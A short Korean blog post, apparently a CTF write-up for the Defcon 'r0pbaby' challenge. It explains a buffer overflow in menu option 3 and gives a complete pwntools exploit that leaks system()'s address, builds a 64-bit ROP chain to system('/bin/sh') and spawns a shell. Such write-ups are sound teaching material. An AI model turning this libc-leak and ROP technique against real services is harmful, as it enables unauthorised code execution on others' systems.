이거 익스하느라 좀 애먹었다
그냥 64비트 ROP 문제인데, 가젯이 재대로 안들어가서 애좀 먹었다
공격 시나리오는 3번에서 bof 가 터지므로 거기를 ROP 시키면된다.
3번 버튼을 입력하면 우리에 payload 에 맞게 길이를 입력해주고 다음에 payload 를 던저주면 된다.
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
p = process("r0pbaby")
binf = process("r0pbaby")
#gdb.attach(p)
p.recvuntil("\n:")
p.send("2\n")
p.recvuntil(":")
p.send("system\n")
p.recvuntil("Symbol system: ")
tmp = p.recvuntil("\n")
addr_leak_system = int(tmp,16)
#print addr_leak_system
addr_pr = addr_leak_system - 0x2428e
addr_binsh = addr_leak_system + 0x1479c7
log.info("leak addr = " + hex(addr_leak_system))
log.info("addr_pr = " + hex(addr_pr))
log.info("addr_binsh = " + hex(addr_binsh))
p.recvuntil("\n:")
p.send("3\n")
p.recvuntil("Enter bytes to send (max 1024): ")
#p.send("A"*36)
payload = "A"*8
payload += p64(addr_pr)
payload += p64(addr_binsh)
payload += p64(addr_leak_system)
p.sendline(str(len(payload)+1))
p.sendline(payload)
#p.sendline("4")
p.interactive()
개꿀~
'CTF > Defcon' 카테고리의 다른 글
Defcon pwnable_speedrun-002 Write up (0) | 2019.10.23 |
---|---|
Defcon pwnable_speedrun-001 Write up (0) | 2019.10.23 |
PlaidCTF pwnable_ropasaurusrex Write up (0) | 2019.10.20 |